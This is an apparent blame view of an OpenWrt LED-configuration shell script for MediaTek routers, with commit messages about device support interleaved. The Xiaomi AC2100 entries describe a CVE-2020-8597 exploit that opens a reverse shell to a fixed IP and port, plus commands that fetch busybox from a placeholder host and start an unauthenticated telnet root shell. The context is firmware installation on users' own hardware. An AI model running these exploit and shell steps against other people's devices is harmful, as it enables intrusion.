You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

106 lines
3.6 KiB
Plaintext

#!/bin/sh
. /lib/functions/leds.sh
. /lib/functions/uci-defaults.sh
set_wifi_led() {
ucidef_set_led_netdev "wifi_led" "wifi" "${1}" "${2:-wlan0}"
}
board=$(board_name)
boardname="${board##*,}"
board_config_update
led_wlan="$(get_dt_led wlan)"
[ -n "$led_wlan" ] && ucidef_set_led_wlan "wifi_led" "wifi" "$led_wlan" "phy0tpt"
case $board in
d-team,newifi-d2)
ucidef_set_led_netdev "internet" "internet" "$boardname:amber:internet" "wan"
ucidef_set_led_netdev "wlan2g" "WiFi 2.4GHz" "$boardname:blue:wlan2g" "wlan0"
ucidef_set_led_netdev "wlan5g" "WiFi 5GHz" "$boardname:blue:wlan5g" "wlan1"
;;
d-team,pbr-m1|\
gehua,ghl-r-001)
ucidef_set_led_netdev "internet" "internet" "$boardname:blue:internet" "wan"
;;
ramips: add support for D-Link DIR-1960 A1 This patch adds support for D-Link DIR-1960 A1. Given the similarity with the DIR-1760/2660 A1, this patch also introduces a common DTSI which can be shared with these devices, with support to be added in future commits. Specifications: * Board: AP-MTKH7-0002 * SoC: MediaTek MT7621AT * RAM: 256 MB (DDR3) * Flash: 128 MB (NAND) * WiFi: MediaTek MT7615N (x2) * Switch: 1 WAN, 4 LAN (Gigabit) * Ports: 1 USB 3.0 * Buttons: Reset, WPS * LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white), WiFi 5G (white), USB 3.0 (white) Notes: * WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips Installation: * D-Link Recovery GUI: power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the power LED starts flashing orange, manually assign a static IP address under the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1 * Some modern browsers may have problems flashing via the Recovery GUI, if that occurs consider uploading the firmware through cURL: curl -v -i -F "firmware=@file.bin" 192.168.0.1 MAC addresses: lan factory 0xe000 *:EB (label) wan factory 0xe006 *:EE 2.4 factory 0xe000 +1 *:EC 5.0 factory 0xe000 +2 *:ED Seems like vendor didn't replace the dummy entrys in the calibration data. Signed-off-by: Josh Bendavid <joshbendavid@gmail.com> [fix whitespace issues, create patch to merge DIR-1960 first, move special WiFi MAC settings to DTS, extend commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
dlink,dir-1960-a1)
ucidef_set_led_netdev "wan" "wan" "$boardname:white:net" "wan"
;;
dlink,dir-860l-b1|\
ramips: add support for D-Link DIR-867/DIR-882 A1 This patch adds support for D-Link DIR-867 A1 and D-Link DIR-882 A1. Given the similarity of these devices, this patch also introduces a common DTS shared between DIR-867 A1, DIR-878 A1 and DIR-882 A1. Specifications: * Board: AP-MTKH7-0002 * SoC: MediaTek MT7621AT * RAM: 128 MB (DDR3) * Flash: 16 MB (SPI NOR) * WiFi: MediaTek MT7615N (x2) * Switch: 1 WAN, 4 LAN (Gigabit) * Ports: 1 USB 2.0, 1 USB 3.0 * Buttons: Reset, WiFi Toggle, WPS * LEDs: Power (green/orange), Internet (green/orange), WiFi 2.4G (green), WiFi 5G (green), USB 2.0 (green), USB 3.0 (green) Notes: * WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips * DIR-867 wireless chips are limited to 3x3 streams at hardware level * USB ports and related LEDs available only on DIR-882 Serial port: * Parameters: 57600, 8N1 * Location: J1 header (close to the Reset, WiFi and WPS buttons) * Pinout: 1 - VCC 2 - RXD 3 - TXD 4 - GND Installation: * D-Link Recovery GUI: power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the power LED starts flashing orange, manually assign a static IP address under the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1 * Some modern browsers may have problems flashing via the Recovery GUI, if that occurs consider uploading the firmware through cURL: curl -v -i -F "firmware=@file.bin" 192.168.0.1 Signed-off-by: Mateus B. Cassiano <mbc07@live.com> [move DEVICE_VARIANT to individual definitions] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
dlink,dir-867-a1|\
dlink,dir-878-a1|\
dlink,dir-882-a1)
ucidef_set_led_netdev "wan" "wan" "$boardname:green:net" "wan"
;;
gnubee,gb-pc1|\
gnubee,gb-pc2)
ucidef_set_led_netdev "lan1" "lan1" "$boardname:green:lan1" "lan1"
ucidef_set_led_netdev "lan2" "lan2" "$boardname:green:lan2" "lan2"
;;
linksys,ea7300-v1|\
ramips: add support for Linksys EA7500 v2 The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
4 years ago
linksys,ea7500-v2)
ucidef_set_led_netdev "lan1" "lan1 link" "$boardname:green:lan1" "lan1" "link"
ucidef_set_led_netdev "lan2" "lan2 link" "$boardname:green:lan2" "lan2" "link"
ucidef_set_led_netdev "lan3" "lan3 link" "$boardname:green:lan3" "lan3" "link"
ucidef_set_led_netdev "lan4" "lan4 link" "$boardname:green:lan4" "lan4" "link"
ucidef_set_led_netdev "wan" "wan link" "$boardname:green:wan" "wan" "link"
;;
mikrotik,routerboard-m11g)
ucidef_set_rssimon "wlan0" "200000" "1"
ucidef_set_led_rssi "rssilow" "RSSILOW" "$boardname:green:rssi0" "wlan0" "1" "100"
ucidef_set_led_rssi "rssimediumlow" "RSSIMEDIUMLOW" "$boardname:green:rssi1" "wlan0" "20" "100"
ucidef_set_led_rssi "rssimediumhigh" "RSSIMEDIUMHIGH" "$boardname:green:rssi2" "wlan0" "40" "100"
ucidef_set_led_rssi "rssihigh" "RSSIHIGH" "$boardname:green:rssi3" "wlan0" "60" "100"
ucidef_set_led_rssi "rssiveryhigh" "RSSIVERYHIGH" "$boardname:green:rssi4" "wlan0" "80" "100"
;;
mtc,wr1201)
ucidef_set_led_netdev "eth_link" "LAN link" "$boardname:green:eth_link" "br-lan"
;;
netgear,r6220|\
netgear,r6260|\
netgear,r6350|\
netgear,r6850|\
netgear,wac124|\
netgear,wndr3700-v5)
ucidef_set_led_netdev "wan" "wan" "$boardname:green:wan" "wan"
;;
netgear,r6700-v2|\
netgear,r6800)
ucidef_set_led_netdev "wan" "WAN" "$boardname:white:wan" "wan"
ucidef_set_led_netdev "lan1" "LAN1" "$boardname:white:lan1" "lan1"
ucidef_set_led_netdev "lan2" "LAN2" "$boardname:white:lan2" "lan2"
ucidef_set_led_netdev "lan3" "LAN3" "$boardname:white:lan3" "lan3"
ucidef_set_led_netdev "lan4" "LAN4" "$boardname:white:lan4" "lan4"
;;
tplink,re350-v1)
ucidef_set_led_netdev "wifi2g" "Wifi 2.4G" "$boardname:blue:wifi2G" "wlan0"
ucidef_set_led_netdev "wifi5g" "Wifi 5G" "$boardname:blue:wifi5G" "wlan1"
ucidef_set_led_netdev "eth_act" "LAN act" "$boardname:green:eth_act" "lan" "tx rx"
ucidef_set_led_netdev "eth_link" "LAN link" "$boardname:green:eth_link" "lan" "link"
;;
tplink,re500-v1|\
tplink,re650-v1)
ucidef_set_led_netdev "eth_act" "LAN act" "$boardname:green:eth_act" "lan" "tx rx"
ucidef_set_led_netdev "eth_link" "LAN link" "$boardname:green:eth_link" "lan" "link"
;;
xzwifi,creativebox-v1)
ucidef_set_led_netdev "internet" "internet" "$boardname:blue:internet" "wan"
;;
ramips: Add support for Xiaomi Mi Router(Black,R2100) The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many characteristics (apart from its looks and the GPIO ports) with the 6-antenna *white* "Xiaomi Redmi Router AC2100" See the visual comparison of the two routers here: https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg Specification of R2100: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN in Yellow and Blue - UART: On board (Don't know where is should be confirmed by anybody else) - Modified u-boot Hacking of official firmware process is same at both RM2100 and R2100. Thanks to @namidairo Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide Guide is written for MacOS but it will work at linux. needed packages: python3(with scapy), netcat, http server, telnet client 1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware 2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0 other than these I specified in here. Everything is same with: https://github.com/openwrt/openwrt/commit/f3792690c4f0567a8965d82898295b9d50c3bb7e Thanks for all community and especially for this device: @Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com) MAC Locations: WAN *:b5 = factory 0xe006 LAN *:b6 = factory 0xe000 WIFI 5ghz *:b8 = factory 0x8004 WIFI 2.4ghz *:b7 = factory 0x0004 Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com> [refactored common image bits into Device/xiaomi-ac2100, fixed From:] Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
xiaomi,mi-router-ac2100)
ucidef_set_led_netdev "wan-blue" "WAN (blue)" "$boardname:blue:wan" "wan"
;;
ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
4 years ago
xiaomi,redmi-router-ac2100)
ucidef_set_led_netdev "wan" "wan" "$boardname:white:wan" "wan"
;;
youhua,wr1200js)
ucidef_set_led_netdev "internet" "INTERNET" "$boardname:green:wan" "wan"
;;
esac
board_config_flush
exit 0